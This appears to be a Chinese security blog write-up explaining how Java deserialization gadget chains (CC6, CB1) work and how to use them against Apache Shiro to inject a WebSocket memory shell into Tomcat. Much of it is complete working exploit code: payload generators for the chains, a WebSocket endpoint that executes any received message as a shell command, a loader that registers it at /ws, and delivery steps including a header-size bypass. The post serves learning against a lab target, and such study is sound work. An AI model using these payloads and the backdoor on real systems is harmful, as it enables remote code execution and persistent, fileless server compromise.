0x01 前言

因为一直想要学习反序列化相关的内容,并且从反序列化延伸出来学习内存马,所以花了很大一部分精力,从CC1到CB,整体地过了一遍反序列化利用链。在学习过程中,发现一个很有意思的内存马,WebSocket内存马,感觉如果用的好的话,挺符合实际需要的,所以自己大体利用了一下,很成功,在这里整理分享出来。

0x02 环境准备

代码分析工具idea
shiro反序列化靶场(Tomcat):https://github.com/yyhuni/shiroMemshell
BurpSuite抓包工具
Websocket内存马相关代码
wscat工具(npm install -g wscat)

0x03 反序列化

反序列化我之前只学过PHP的,JAVA反序列化基本上从0开始学。P牛的《Java安全漫谈》很通俗易懂,很适合新人,然后我是结合着LSF的《Java反序列化漏洞学习 Commons Collection》一起学习的。

什么是序列化和反序列化?

最早在PHP中接触的反序列化,主要是CTF比赛题,但是因为比较靠研究型的东西,现在忘记的差不多了。另外学习的是一个反序列化漏洞,某PHP博客系统前台反序列化getshell,通过unserialize()函数触发的反序列化。


java反序列化概念:

序列化将java对象以字节的形式保存到本地磁盘上的过程也可以理解成将抽象的java对象保存到文件的过程这里保存的文件可以一直存在只需要在需要的时候调用即可

反序列化将保存下来的java字节码还原成JAVA的过程

几个关键知识

1、要想有序列化的能力,需要实现Serializable或Externalizable接口。也就是说,一整个利用链中涉及到的类,都需要达到这个要求。
2、ObjectOutputStream.readObject -> 具体类.readObject。序列化的类,需要重写readObject,如果没有重写,则会到其父类的readObject。
3、Java在反序列化的时候有一个机制,序列化时会根据固定算法计算出一个当前版本下类的 serialVersionUID 值,如果反序列化前后serialVersionUID 不同,即版本不同,就会异常退出。
4、反序列化漏洞的产生是因为反序列化过程中,会自动执行到序列化对象所在类的readObject()方法,如果该方法能够通过多次调用触发命令执行,则存在漏洞。
5、CC链的核心就是Transformer,InvokerTransformer实现了Transformer接⼝,反序列化中可以利用InvokerTransformer执行任意对象的任意方法。
6、shiro自带CB,版本为1.8.3。
7、Class.forName 支持加载数组,而 ClassLoader.loadClass 不支持加载数组。
8、如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

CC6详细分析

1、了解过CC链的话,应该都知道CC是因为Transformer可以执行任意代码而产生的。CC6的反序列化利用代码如下,传入一个字符串命令,返回序列化后的字节码。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
    public byte[] getPayload(final String commond) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {commond}),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tme);

        outerMap.remove("key");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.flush();
        oos.close();

        return barr.toByteArray();
    }

}

2、首先查看最后面,writeObject的是hashSet,可以定位到HashSet.readObject,其重写了readObject方法。

中间应该是有ObjectInputStream.readObject()到HashSet.readObject()的过程,可以参考我之前写的文章:
https://wx.zsxq.com/dweb2/index/topic_detail/584124554842484

3、那么,是怎么从HashSet.readObject()一直到触发transform()的呢,因为知道最后流程会走到InvokerTransformer.transform(),所以直接在这里下一个断点。

简单写个class调用POC

import com.vuln.ser.CommonsCollections6;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payloads));
        ois.readObject();
        ois.close();
    }
}

4、debug之后可以看到是这样调用的

transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)

5、与CC1一样,通过LazyMap.get调用到transform。在一个if判断中,如果当前map中的key与传入的key对象不相同,则调用transform执行它。

所以构造POC时,需要执行remove操作。也可以使用clear清空,道理相同。

6、IF判断进入了,这里还有一个问题,transform为this.factory.transform,而我们需要调用的是InvokerTransformer.transform。
查看factory,这是一个Transformer对象;并且在被public修饰的一个decorate方法中,传入一个Map对象和Transformer对象,则调用构造方法执行它们

构造方法也很简单,就是将传入的Transformer对象指定为this.factory

7、有了前面的铺垫,我们可以构造POC中的一部分代码

//创建transformer数组内容为多次调用InvokerTransformer.transform反射执行Runtime.exec
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{commond}),};

//通过ChainedTransformer循环执行transformers数组内容
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,TransformerChain);

outerMap.remove("key");

8、为什么这里传入的是ChainedTransformer,其实主要是因为ChainedTransformer.transform可以循环执行Transformer数组,方便调用多次InvokerTransformer

9、回到完整的POC,这里有三处地方可以一起解释

第一处,创建一个没有实际意义的Transformer数组;第二处,LazyMap.decorate时,调用的是这个无用的数组;第三处,反射获取class对象的属性并重新赋值。这里的作用只有一个,防止初始化对象的时候就触发命令执行。
其中第三处因为有的时候很多地方需要反射重新赋值,容易显得代码很冗余,所以常常被封装成方法调用。

public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

10、前面发现需要调用LazyMap.get,然后可以定位到TiedMapEntry.getValue,这个方法是调用this.map.get方法,并且在它的构造方法中可以指定map。

这里对应POC中的

TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

11、然后搜索哪里调用了TiedMapEntry.getValue,定位到org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

12、hashCode就很熟悉了,HashMap.put调用HashMap.hash,HashMap.hash中调用key.hashcode,所以只要设置key为TiedMapEntry对象即可完成后面的调用

13、怎么调用HashMap.put呢,ysoserial中的CC6通过HashSet.readObject,在342行,调用了map.put()

按住command键点击map,可以看到定义了this.map就是HashMap

在HashSet.add可以将key设置进map中

整理出最后的POC部分

HashSet hashSet = new HashSet(1);
hashSet.add(tme);

14、《JAVA安全漫谈》中给出了不同的选择,HashMap.readObject中,1413行直接可以调用到HashMap.hash

所以这里不需要HashSet,直接使用HashMap即可,通过put方法将key设置进map中

Map expMap = new HashMap();
expMap.put(tme, "value");

适合shiro的CC6shiro

1、P牛指出过,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
2、所以针对CC6攻击shiro,需要去掉Transformer数组,使用TemplatesImpl加载Java字节码的方式替换反射Runtime命令执行

这里进行了3次反射赋值,具体流程为:

初始化之后调用 TemplatesImpl#newTransformer()
然后到 TemplatesImpl#getTransletInstance(),这里有限制条件_name不为null,_class为null
继续到 TemplatesImpl#defineTransletClasses(),这里限制_bytecodes不为null
然后 run()方法中调用了_tfactory.getExternalExtensionsMap(),需要_tfactory不能为null

3、要调用TemplatesImpl利用链,那么就需要调用newTransformer,可以通过InvokerTransformer实现,先设置一个无害的getClass方法

后面反射设置值为newTransformer

4、完整的利用代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonCollectionShiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {clazzBytes});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, templates);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();

    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

5、利用CCshiro执行命令弹出计算器
运行环境

生成payload,Evil为简单的打开计算器命令

攻击成功

无CC依赖的CB1

1、CC链已经很久了,commons-collections组件也成为了非必要都禁用的存在。但是很巧的,shiro自带了commons-beanutils1.8.3,所以可以打CB链的反序列化

2、在前面的内容中介绍了一个TemplatesImpl,可以加载执行java字节码,因为内存马的存在,所以TemplatesImpl相对于反射调用Runtime更加实用。
有一个需要注意的点,被加载的恶意类,需要继承AbstractTranslet类,并且继承此类会自动实现两个transform方法。

3、前面介绍了CC链的关键是Transformer可以执行任意方法。CB链的关键则是静态方法 PropertyUtils.getProperty ,可以让使用者直接调用任意JavaBean的getter方法

4、TemplatesImpl利用链Gadget如下,在getOutputProperties方法中调用newTransformer触发利用链。而getOutputProperties正巧符合 JavaBean的getter方法 这一条件

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses() -> 
TransletClassLoader#defineClass()

5、org.apache.commons.beanutils.BeanComparator#compare 中,传入两个对象,如果当前property不为空,则调用PropertyUtils.getProperty处理该对象,符合触发情况

6、定位到property,可以看到BeanComparator存在3个构造方法,如果初始化的时候没有传值,那么默认就是空的,并且通过private修饰。所以需要反射赋值。因为要调用getOutputProperties,所以这里property需要指定值为TemplatesImpl中的属性

搜索Properties属性集,找到_outputProperties

7、然后找哪里调用了compare,CB1中是通过PriorityQueue.siftDownUsingComparator。在compare中有两个参数,一个x为传入的对象,一个c为queue数组中的对象。很容易理解就是传入两个参数并比较它们。

定位comparator,是一个Comparator对象,这里需要的是BeanComparator对象

8、PriorityQueue.siftDown 调用了 siftDownUsingComparator,条件是comparator不为空

9、继续往前,java.util.PriorityQueue#heapify 调用了siftDown

10、然后就到起点了,java.util.PriorityQueue#readObject 调用了heapify

11、Gadget Chain:

getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
readObject:459, ObjectInputStream (java.io)

12、了解了整个CB链还不能使用,如何完成POC编写呢,需要一步一步来
首先知道是通过 TemplatesImpl 加载恶意字节码,这里通过一个专门获取恶意类字节码的库javassist.ClassPool,获取了Evil恶意类字节码

13、然后创建BeanComparator对象。并且因为需要调用PriorityQueue.readObject,所以还需要创建PriorityQueue对象。前面了解了需要指定comparator为BeanComparator对象,找到这个构造方法,需要传递两个参数,一个为需要大于1的整型数字,一个为BeanComparator对象

进一步完善POC

14、下一步,将恶意对象传入queue中,找到java.util.PriorityQueue#offer方法,将传入的对象赋值到queue数组中。

常见的是使用add(),与offer()是一样的,add()最后调用的也是offer()

15、将恶意对象offer进去之后,调用链已经基本完成了,反射指定property值即可。

执行成功弹出计算器

16、然后,不出意外的话,出意外了,前面说到,此时的利用链不能用CC了,但是当我们反射指定property值后,构造方法调用了CC中的类。

解决方法就是自己指定Comparator对象,找了3种方法,放在代码中了,P牛使用的是方法一
17、完整的利用代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        //BeanComparator中引用了CC包中的ComparableComparator类
        //但是shiro中没有CC包所以使用BeanComparator会报错所以需要找到替换的类
        /*
            新的类需要满足以下条件
                1实现 java.util.Comparator 接口
                2实现 java.io.Serializable 接口
                3Javashiro或commons-beanutils自带且兼容性强
         */
        //方法一 CaseInsensitiveComparator#Comparator
        //通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象用它来实例化 BeanComparator
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        //方法二类Collections$ReverseComparator
        //通过反射获取类
        //需要转换类型为Comparator
//        Class clazz = Class.forName("java.util.Collections$ReverseComparator");
//        Constructor constructor = clazz.getDeclaredConstructor();
//        constructor.setAccessible(true);
//
//        Comparator ob = (Comparator) constructor.newInstance();
//        final BeanComparator comparator = new BeanComparator(null, ob);

        //方法三类Collections$ReverseComparator
        //直接调用reverseOrder方法返回的是一个ReverseComparator对象
//        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        // BeanComparator comparator = new BeanComparator();

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();

    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

利用CB1shiro,成功弹出计算器

0x04 注入WebSocket内存马

在攻防技术稳步提升的社会现状,相较于传统的将一句话木马上传到服务器上的落地文件getshell的方式,更多的是选择直接将内存马注入到中间件或组件中。shiro反序列化注入冰蝎内存马已经有现成的工具并且很适合实战使用了,后面发现Websocket内存马,不同于以往的直接将内存代码打入注册websocket服务。

生成WebSocket内存马

1、首先准备一个WebSocket_Cmd,在onMessage方法中放入命令执行代码。同理要注入websocket只需要改此处内容,详情可以看veo师傅的github项目。

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class WebSocket_Cmd extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;

    public void onMessage(String message) {
        try {
            boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
            Process exec;
            if (iswin) {
                exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }

            InputStream ips = exec.getInputStream();
            StringBuilder sb = new StringBuilder();

            int i;
            while((i = ips.read()) != -1) {
                sb.append((char)i);
            }

            ips.close();
            exec.waitFor();
            this.session.getBasicRemote().sendText(sb.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(this);
    }
}

2、将恶意类转换成字节数组

import javassist.ClassPool;
import javassist.CtClass;

import java.util.Arrays;

public class GetByteTools {

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(WebSocket_Cmd.class.getName());
        byte[] payloads = clazz.toBytecode();
        System.out.println(Arrays.toString(payloads));
    }
}

3、将获取到的字节数组加入到字节码处,生成内存马。因为要打TemplatesImap,所以继承了AbstractTranslet。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.DeploymentException;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class TemplatesImplWebSocket extends AbstractTranslet {
    static {
        try {
            String urlPath = "/ws";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            if (standardroot == null){
                Field field;
                try {
                    field = webappClassLoaderBase.getClass().getDeclaredField("resources");
                    field.setAccessible(true);
                }catch (Exception e){
                    field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
                    field.setAccessible(true);
                }
                standardroot = (StandardRoot)field.get(webappClassLoaderBase);
            }
            StandardContext standardContext = (StandardContext) standardroot.getContext();

            //以字节码方式 defineclass
            //字节数组通过 GetByteTools 获取
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Class clazz;
            byte[] bytes = new byte[]{字节码};
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);

            //后面部分不变build设置好的恶意类
            ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
            WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
            if (null == container.findMapping(urlPath)) {
                try {
                    container.addEndpoint(configEndpoint);
                } catch (DeploymentException e) {
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注入内存马

tomcat大小问题绕过参考洋洋师傅的文章:绕过maxHttpHeaderSize,我采用从POST请求体中发送字节码数据的方式进行绕过。
1、生成MyTomcatClassLoader

将生成的payload放到rememberMe后

2、通过如下代码,获取websocket内存马的classData。具体路径一般在本项目下的targets目录

import java.io.File;
import java.io.FileInputStream;
import java.net.URLEncoder;
import java.util.Base64;

public class getClassData {
    public static void main(String[] args) throws Exception {
        File file = new File("TemplatesImplWebSocket.class路径");
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        inputFile.close();
        String base64Str = Base64.getEncoder().encodeToString(buffer);
        String urlStr = URLEncoder.encode(base64Str,"UTF-8");

        System.out.println("========ClassData========="+"\n");
        System.out.println(urlStr+"\n");
        System.out.println("========ClassData========="+"\n");
    }
}

3、将生成的classData放入数据包的POST字段,发送数据包,注入内存马

4、使用wscat连接即可,路径在TemplatesImplWebSocket中设置的,为/ws

0x05 总结

学习反序列化和内存马已经很长一段时间了,看网上的文章也总是发现这样的问题,一个是JAVA基础欠缺,在反序列化部分很多底层知识还理解的很浅显;第二是有些复杂的地方,文章中一笔带过了,自己也一笔带过了。但是是能够体会到自己的成长的,一开始只会使用Ysoserial工具,shiro反序列化工具,JNDI注入工具,到现在,能够理解它大体的原理,现在想来,是挺开心的一件事。

0x06 参考

https://t.zsxq.com/0aLhQzwy7
https://t.zsxq.com/0abG5xV3Z
http://tttang.com/archive/1337/
https://github.com/yyhuni/shiroMemshell
https://www.freebuf.com/vuls/329299.html
https://github.com/veo/wsMemShell
https://xz.aliyun.com/t/10696

点击收藏 | 4 关注 | 2
登录 后跟帖